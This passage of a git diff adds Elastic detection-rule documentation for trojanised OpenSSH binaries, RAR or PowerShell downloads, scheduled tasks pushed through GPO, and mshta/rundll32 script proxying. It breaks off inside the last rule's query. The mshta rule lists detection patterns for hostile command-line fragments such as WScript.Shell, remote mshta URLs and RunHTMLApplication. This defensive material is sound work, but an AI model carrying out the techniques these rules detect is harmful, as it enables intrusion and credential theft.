+[[prebuilt-rule-8-19-36-renaming-of-openssh-binaries]] +=== Renaming of OpenSSH Binaries + +Adversaries may modify SSH related binaries for persistence or credential access by patching sensitive functions to enable unauthorized access or by logging SSH credentials for exfiltration. + +*Rule type*: query + +*Rule indices*: + +* logs-endpoint.events.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.angelalonso.es/2016/09/anatomy-of-real-linux-intrusion-part-ii.html + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Persistence +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Linux +* Resources: Osquery + +*Version*: 117 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Renaming of OpenSSH Binaries* + + +OpenSSH is a widely used suite of secure networking utilities based on the Secure Shell (SSH) protocol, which provides encrypted communication sessions over a computer network. + +Adversaries may exploit OpenSSH by modifying its binaries, such as `/usr/bin/scp`, `/usr/bin/sftp`, `/usr/bin/ssh`, `/usr/sbin/sshd`, or `libkeyutils.so`, to gain unauthorized access or exfiltrate SSH credentials. + +The detection rule 'Modification of OpenSSH Binaries' is designed to identify such abuse by monitoring file changes in the Linux environment. It triggers an alert when a process, modifies any of the specified OpenSSH binaries or libraries. This helps security analysts detect potential malicious activities and take appropriate action. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Investigate whether the altered scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} +- Investigate abnormal behaviors by the subject process/user such as network connections, file modifications, and any other spawned child processes. + - Investigate listening ports and open sockets to look for potential command and control traffic or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} + - Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} + + +*False positive analysis* + + +- Regular users should not need to modify OpenSSH binaries, which makes false positives unlikely. In the case of authorized benign true positives (B-TPs), exceptions can be added. +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- If this activity is related to a system administrator that performed these actions for administrative purposes, consider adding exceptions for this specific administrator user account. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Elastic Endgame + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:file and host.os.type:linux and event.type:change and +process.name:(* and not ( + dnf or dnf-automatic or dpkg or yum or rpm or yum-cron or anacron or platform-python* or + apk or systemd or python* or yum or nix-daemon or nix + ) +) and +(file.path:(/usr/bin/scp or + /usr/bin/sftp or + /usr/bin/ssh or + /usr/sbin/sshd) or +file.name:libkeyutils.so) and +not ( + process.executable:( + /usr/share/elasticsearch/* or "/usr/bin/microdnf" or "/usr/bin/dnf5" or "/usr/sbin/gdm" or + "/usr/libexec/packagekitd" or "/usr/libexec/zypp/zypp-rpm" + ) or + file.Ext.original.name:"sshd.session-split" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Compromise Host Software Binary +** ID: T1554 +** Reference URL: https://attack.mitre.org/techniques/T1554/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ +* Technique: +** Name: Remote Service Session Hijacking +** ID: T1563 +** Reference URL: https://attack.mitre.org/techniques/T1563/ +* Sub-technique: +** Name: SSH Hijacking +** ID: T1563.001 +** Reference URL: https://attack.mitre.org/techniques/T1563/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-roshal-archive-rar-or-powershell-file-downloaded-from-the-internet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-roshal-archive-rar-or-powershell-file-downloaded-from-the-internet.asciidoc new file mode 100644 index 0000000000..a89d8df83f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-roshal-archive-rar-or-powershell-file-downloaded-from-the-internet.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-36-roshal-archive-rar-or-powershell-file-downloaded-from-the-internet]] +=== Roshal Archive (RAR) or PowerShell File Downloaded from the Internet + +Detects a Roshal Archive (RAR) file or PowerShell script downloaded from the internet by an internal host. Gaining initial access to a system and then downloading encoded or encrypted tools to move laterally is a common practice for adversaries as a way to protect their more valuable tools and tactics, techniques, and procedures (TTPs). This may be atypical behavior for a managed network and can be indicative of malware, exfiltration, or command and control. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* +* logs-panw.panos* +* logs-fortinet_fortigate.log-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/fin7-phishing-lnk +* https://www.justice.gov/opa/press-release/file/1084361/download +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Command and Control +* Domain: Endpoint +* Data Source: Fortinet +* Data Source: PAN-OS +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Script-Based Execution +* Rule Type: Custom Query (KQL) +* Domain: Network +* Data Source: Network Packet Capture + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Roshal Archive (RAR) or PowerShell File Downloaded from the Internet* + + +RAR files and PowerShell scripts are powerful tools in IT environments, used for data compression and task automation, respectively. However, adversaries exploit these for malicious purposes, such as downloading encrypted tools to evade detection. The detection rule identifies unusual downloads of these files from external sources, flagging potential threats by monitoring network traffic and excluding trusted internal IP ranges. + + +*Possible investigation steps* + + +- Review the network traffic logs to identify the internal host that initiated the download, focusing on the source IP addresses within the ranges 10.0.0.0/8, 172.16.0.0/12, or 192.168.0.0/16. +- Examine the destination IP address of the download to determine if it is associated with known malicious activity or if it is an unusual external IP not typically accessed by the organization. +- Analyze the downloaded file's URL extension or path to confirm if it matches .ps1 or .rar, and assess whether this is expected behavior for the identified host or user. +- Check the internal host's recent activity for any signs of lateral movement or further suspicious downloads, which could indicate a broader compromise. +- Investigate the user account associated with the internal host to verify if the download aligns with their typical usage patterns and permissions. +- Utilize threat intelligence sources to gather additional context on the downloaded file or the external IP address to assess potential risks or known threats. + + +*False positive analysis* + + +- Internal software updates or legitimate administrative scripts may trigger the rule. To manage this, create exceptions for known internal update servers or trusted administrative IP addresses. +- Automated backup processes that use RAR files for compression can be mistaken for threats. Exclude IP addresses or domains associated with these backup services from the rule. +- Development environments often download scripts for testing purposes. Identify and exclude IP ranges or specific hosts associated with development activities to prevent false positives. +- Security tools that download threat intelligence or updates in RAR format might be flagged. Whitelist the IP addresses of these security tools to avoid unnecessary alerts. +- Regularly review and update the list of trusted internal IP ranges to ensure that legitimate traffic is not incorrectly flagged as suspicious. + + +*Response and remediation* + + +- Isolate the affected host from the network immediately to prevent further lateral movement or data exfiltration. +- Conduct a thorough scan of the isolated host using updated antivirus and anti-malware tools to identify and remove any malicious files or scripts. +- Review and analyze network logs to identify any other potentially compromised systems or unusual outbound connections that may indicate further compromise. +- Reset credentials and access tokens for the affected host and any other systems that may have been accessed using the compromised host. +- Restore the affected system from a known good backup if malware removal is not feasible or if the system's integrity is in question. +- Implement network segmentation to limit the ability of threats to move laterally within the network in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to ensure comprehensive remediation and recovery efforts. + + +*Threat intel* + + +This activity has been observed in FIN7 campaigns. + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset: (network_traffic.http or network_traffic.tls or fortinet_fortigate.log) or + (data_stream.dataset: panw.panos and network.application: "web-browsing") or + (event.category: (network or network_traffic) and network.protocol: http)) and + (url.extension:(ps1 or rar) or url.path:(*.ps1 or *.rar)) and + not destination.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) and + source.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-scheduled-task-execution-at-scale-via-gpo.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-scheduled-task-execution-at-scale-via-gpo.asciidoc new file mode 100644 index 0000000000..83da9aba6d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-scheduled-task-execution-at-scale-via-gpo.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-36-scheduled-task-execution-at-scale-via-gpo]] +=== Scheduled Task Execution at Scale via GPO + +Detects the modification of Group Policy Object attributes to execute a scheduled task in the objects controlled by the GPO. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/atc-project/atc-data/blob/master/docs/Logging_Policies/LP_0025_windows_audit_directory_service_changes.md +* https://github.com/atc-project/atc-data/blob/f2bbb51ecf68e2c9f488e3c70dcdd3df51d2a46b/docs/Logging_Policies/LP_0029_windows_audit_detailed_file_share.md +* https://github.com/ReversecLabs/SharpGPOAbuse +* https://twitter.com/menasec1/status/1106899890377052160 +* https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/security/win_gpo_scheduledtasks.yml + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Lateral Movement +* Data Source: Active Directory +* Resources: Investigation Guide +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Scheduled Task Execution at Scale via GPO* + + +Group Policy Objects (GPOs) can be used by attackers to execute scheduled tasks at scale to compromise objects controlled by a given GPO. This is done by changing the contents of the `\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml` file. + + +*Possible investigation steps* + + +- This attack abuses a legitimate mechanism of Active Directory, so it is important to determine whether the activity is legitimate and the administrator is authorized to perform this operation. +- Retrieve the contents of the `ScheduledTasks.xml` file, and check the `` and `` XML tags for any potentially malicious commands or binaries. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Scope which objects may be compromised by retrieving information about which objects are controlled by the GPO. + + +*False positive analysis* + + +- Verify if the execution is allowed and done under change management, and if the execution is legitimate. + + +*Related rules* + + +- Group Policy Abuse for Privilege Addition - b9554892-5e0e-424b-83a0-5aef95aa43bf +- Startup/Logon Script added to Group Policy Object - 16fac1a1-21ee-4ca6-b720-458e3855d046 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- The investigation and containment must be performed in every computer controlled by the GPO, where necessary. +- Remove the script from the GPO. +- Check if other GPOs have suspicious scheduled tasks attached. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +The following Windows audit policies must be enabled to generate the events used by this rule: +- https://ela.st/audit-directory-service-changes[Audit Directory Service Changes] +- https://ela.st/audit-detailed-file-share[Audit Detailed File Share] + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and event.code in ("5136", "5145") and +( + ( + winlog.event_data.AttributeLDAPDisplayName : ( + "gPCMachineExtensionNames", + "gPCUserExtensionNames" + ) and + winlog.event_data.AttributeValue : "*CAB54552-DEEA-4691-817E-ED4A4D1AFC72*" and + winlog.event_data.AttributeValue : "*AADCED64-746C-4633-A97C-D61349046527*" + ) or + ( + winlog.event_data.ShareName : "\\\\*\\SYSVOL" and + winlog.event_data.RelativeTargetName : "*ScheduledTasks.xml" and + winlog.event_data.AccessList:"*%%4417*" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Sub-technique: +** Name: Group Policy Modification +** ID: T1484.001 +** Reference URL: https://attack.mitre.org/techniques/T1484/001/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: https://attack.mitre.org/techniques/T1570/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-script-execution-via-microsoft-html-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-script-execution-via-microsoft-html-application.asciidoc new file mode 100644 index 0000000000..ef87c3b03d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-script-execution-via-microsoft-html-application.asciidoc @@ -0,0 +1,234 @@ +[[prebuilt-rule-8-19-36-script-execution-via-microsoft-html-application]] +=== Script Execution via Microsoft HTML Application + +Identifies the execution of scripts via HTML applications using Windows utilities rundll32.exe or mshta.exe. Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed binaries. + +*Rule type*: eql + +*Rule indices*: + +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-crowdstrike.fdr* +* endgame-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Windows Security Event Logs +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Script Execution via Microsoft HTML Application* + + + +*Possible investigation steps* + + +- Which HTML-application proxy path did the alert capture? + - Why: proxy path determines the containment target. + - Focus: `process.name`, `process.command_line`, and `process.args_count`: ".hta", ".htm", "vbscript:", "javascript:", "GetObject("script:")", "mshtml,RunHTMLApplication", "mshtml,#135", "http", "WScript.Shell", "StrReverse", "window.close(", or "Chr(". + - Implication: escalate on inline script, remote retrieval, obfuscation, "RunHTMLApplication", archive/temp execution, or non-HTA "mshta.exe"; lower concern only for one stable internal HTA/HTM path with no inline script, remote locator, or obfuscation. + +- Is the proxy binary a genuine Microsoft LOLBin or a masqueraded executable? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.hash.sha256`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Implication: escalate when "mshta.exe" or "rundll32.exe" runs from a user-writable or non-Windows path, has a mismatched original filename, or lacks a trusted Microsoft signature; canonical Microsoft identity lowers masquerade risk but does not clear suspicious arguments. + +- What parent and user context explain the launch? + - Focus: `process.parent.executable`, `process.parent.command_line`, `user.id`, and `host.id`. + - Implication: escalate when the parent is Office, a browser, archive utility, script host, user-writable executable, or a chain outside the rule's excluded parents; lower concern when the same parent, user cohort, and host cohort repeatedly launch the same recognized HTA workflow. + +- What referenced HTA, scriptlet, URL, or path can be recovered? + - Focus: `process.command_line`, `process.args`, and `process.working_directory`: literal HTA/HTM path, scriptlet URL, remote locator, archive/temp marker, or relative path; recover same-process file and network/DNS events when artifact or remote locator evidence exists. !{investigate{"description":"","label":"File events for the same proxy instance","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} !{investigate{"description":"","label":"Network and DNS events for the same proxy instance","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"dns","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the locator points to Downloads, Temp, archive extraction, external URLs, scriptlet retrieval, alternate data stream-like syntax, or a single-user path; lower concern only for the same stable internal path from the same recognized workflow. Missing file, network, or DNS telemetry is unresolved, not benign. + +- Did the proxy spawn follow-on code or payload execution? + - Focus: child starts on `host.id` where `process.parent.entity_id` equals alert `process.entity_id`; inspect child `process.executable`, `process.command_line`, `process.pe.original_file_name`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. !{investigate{"description":"","label":"Child process events for the same proxy instance","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if `process.entity_id` is absent, use `host.id` + `process.pid` + the tight alert window as a weaker fallback; treat PID reuse as unresolved ambiguity. + - Implication: escalate when the proxy spawns shells, PowerShell, script hosts, "regsvr32.exe", another "rundll32.exe", unsigned payloads, or tooling unrelated to the parent workflow; lower concern when child activity stays within the same recognized signed application flow. + +- If evidence remains suspicious or incomplete, is it isolated? + - Focus: `user.id`, `host.id`, stable `process.command_line` fragments, child `process.executable`, and child `process.command_line` recovered above. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the same user, host, command fragment, or child process repeats across alerts or other hosts; keep scope local only when isolated and aligned with one recognized workflow. + +- Escalate on proxy script execution, masquerade, suspicious lineage, external/temporary sourcing, follow-on payloads, or recurrence; close only when command intent, binary identity, lineage, locator, child behavior, and scope align with one recognized internal HTA/HTM workflow; preserve artifacts and escalate when evidence is mixed or incomplete. + + +*False positive analysis* + + +- Legacy internal HTA applications or support tools may use "mshta.exe" when identity, intent, and context align: canonical Microsoft `process.executable`, stable `process.parent.executable`, repeated `process.command_line` for one internal HTA/HTM path, consistent `user.id`/`host.id` cohort, and no child branching into shells or script hosts. If inventory, owner, or change records exist, require alignment with this telemetry; otherwise require recurrence of the same stable process pattern across prior alerts from this rule for the same cohort. +- Vendor installers or deployment tools can trigger archive/temp HTA patterns when parent executable, signer context, command line, and bounded child chain match the same recognized package workflow. Do not close on parent name alone; contradictory locator, child process, user/host scope, or signer evidence stays suspicious. Exceptions should use the minimum confirmed pattern, such as `process.parent.executable` + stable `process.command_line` fragment + `host.id` or `user.id`, not `process.name`. + + +*Response and remediation* + + +- If confirmed benign: + - Reverse temporary containment and record the parent workflow, `process.command_line`, extracted locator/path, `user.id`, `host.id`, and recurrence or business records that confirmed the recognized application path. Build exceptions only from the minimum stable workflow pattern, not from "mshta.exe" or "rundll32.exe" alone. +- If suspicious but unconfirmed: + - Preserve the alert event export, process tree, `process.entity_id`, `process.pid`, `process.command_line`, `process.args`, parent lineage, user/host context, recovered child process events, and literal URLs or paths extracted from the command line before cleanup. + - Apply reversible containment tied to the findings, such as temporary destination restrictions for remote locators, child-process blocking, or heightened monitoring on the affected `host.id` and `user.id`; use host isolation only when child-process or staging evidence indicates active payload execution and host criticality permits it. +- If confirmed malicious: + - Isolate the host or contain the affected identity after preserving the process and child-process evidence that established malicious execution. Terminate the proxy and spawned payload processes only after recording their identifiers and command lines. + - Block confirmed malicious command-line locators, child binaries, domains, and addresses identified during triage, then review other hosts and users for the same command fragment or child-process pattern before eradication. + - Remove the malicious HTA, scriptlet, archive-extracted payload, or staged child artifacts identified during investigation; remediate the parent document, browser, archive, or script delivery path; investigate credential exposure if follow-on behavior suggests collection or lateral movement. +- Post-incident hardening: + - Restrict or monitor "mshta.exe" and unusual "rundll32.exe" script-execution paths where the business does not require them. + - Retain process telemetry for these binaries and record any missing artifact, library, or destination visibility that limited the case so future triage can account for the gap. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("rundll32.exe", "mshta.exe") and + ( + (process.command_line : + ( + "*script*eval(*", + "*script*GetObject*", + "*.regread(*", + "*WScript.Shell*", + "*.run(*", + "*).Exec()*", + "*mshta*http*", + "*mshtml*RunHTMLApplication*", + "*mshtml*,#135*", + "*StrReverse*", + "*.RegWrite*", + /* Issue #379 */ + "*window.close(*", + "* Chr(*" + ) and + not ( + ?process.parent.executable : ( + "?:\\Program Files (x86)\\Citrix\\System32\\wfshell.exe", + "?:\\Program Files (x86)\\Microsoft Office\\Office*\\MSACCESS.EXE", + "?:\\Program Files\\Quokka.Works GTInstaller\\GTInstaller.exe") and + ?process.parent.executable != null + ) + ) or + + (process.name : "mshta.exe" and + not process.command_line : ("*.hta*", "*.htm*", "-Embedding") and process.args_count >=2) or + + /* Execution of HTA file downloaded from the internet */ + (process.name : "mshta.exe" and process.command_line : "*\\Users\\*\\Downloads\\*.hta*") or + + /* Execution of HTA file from archive */ + (process.name : "mshta.exe" and + process.args : ("?:\\Users\\*\\Temp\\7z*", "?:\\Users\\*\\Temp\\Rar$*", 